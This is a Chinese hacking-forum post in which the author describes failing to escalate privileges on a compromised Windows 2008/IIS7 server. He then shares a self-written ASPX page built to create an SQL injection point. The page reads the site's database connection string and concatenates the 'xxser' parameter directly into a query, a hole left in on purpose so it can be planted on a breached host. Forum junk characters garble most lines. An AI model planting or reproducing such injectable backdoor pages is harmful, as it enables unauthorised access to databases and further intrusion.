昨天跟4z1看一个站点,提权很难提,看了整整5个小时,无果。 2008+iis7,无sa,无root,无各种服务。。。/ p. ^ p3 t5 L% _! I; q
其实中用到了aspx构造注射来跨站,网上找了一堆代码,没一个能用的。
: \5 O+ u$ P1 f& ~- |) @代码量不多,自己写个拉倒了。烦死了。
- ~7 P$ b$ v, P0 ]3 C, i
% R/ _" ^8 K" A! |3 p5 m9 z( M5 c/ f
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
2 u" w- A: A" q7 [' i6 O- {. K<html xmlns="http://www.w3.org/1999/xhtml">2 K5 h5 D# T) Z; u1 v2 q5 B
<head runat="server">4 i" d* n4 [* i" P- \
<title>暗影aspx构造注射专用页面</title>
( u5 S/ r2 d" N7 B2 y. [</head>; B% M' D/ E/ C; V" u( r
<body>
7 L( J2 g: b6 U6 y& N4 i! _ <form id="form1" runat="server"> w" J" J6 G7 c9 I
<div>
`- `5 A; s7 f0 j <script language="c#" runat="server">+ N( ]; g/ I+ }% p
. T( G5 b% B/ \! @3 d
void page_init(object sender, EventArgs e)
9 U1 x; i e! N1 e/ B9 d/ Y {; {5 I4 C3 d& p# l
A( y* U$ s& v3 C; x* e' I
System.Data.SqlClient.SqlConnection conn = new System.Data.SqlClient.SqlConnection();1 Z1 B6 H. u3 V4 @9 }- T
9 P3 E1 Z' e% }( l K, E" \
conn.ConnectionString = ConfigurationManager.ConnectionStrings["连接名"].ToString();- o( { j, y) ?$ [6 s
conn.Open();+ p! M9 J. K0 a* C/ Q: c" E
0 B' M7 Y9 K" C$ H2 ]
string i = this.Page.Request.Params["xxser"]; //这里是参数?xxser=1
( [$ Q6 {7 Z# ]8 }2 ^+ I- g0 ^7 e / B$ J2 J# D7 i9 a) M) @
System.Data.SqlClient.SqlCommand command = new System.Data.SqlClient.SqlCommand("select * from [表] where 列名= " + i, conn);
* z1 N: A: F1 z5 g* i4 C int x = command.ExecuteNonQuery();& H3 Z3 t( H0 { ?" w
Response.Write(i+"\n");
e V% t( U% e! c" p Response.Write(x);, O/ |3 L/ B' p& ]) } C
conn.Close();* T! J" h! b$ B9 L. y2 \+ I7 c
}
( G+ |$ n& l, D % o. k* o8 }% M3 @. z& l
</script>* [3 I! A& R+ E% A% G
</div>
% O5 ~4 ]5 }3 t+ P; n$ O* T' K </form>1 r1 W3 N! ^* b: N7 c V0 u$ v w" o
</body>; K7 Q |9 p/ r7 \
</html>
! \: Y; C p& ?" @4 f% y# U |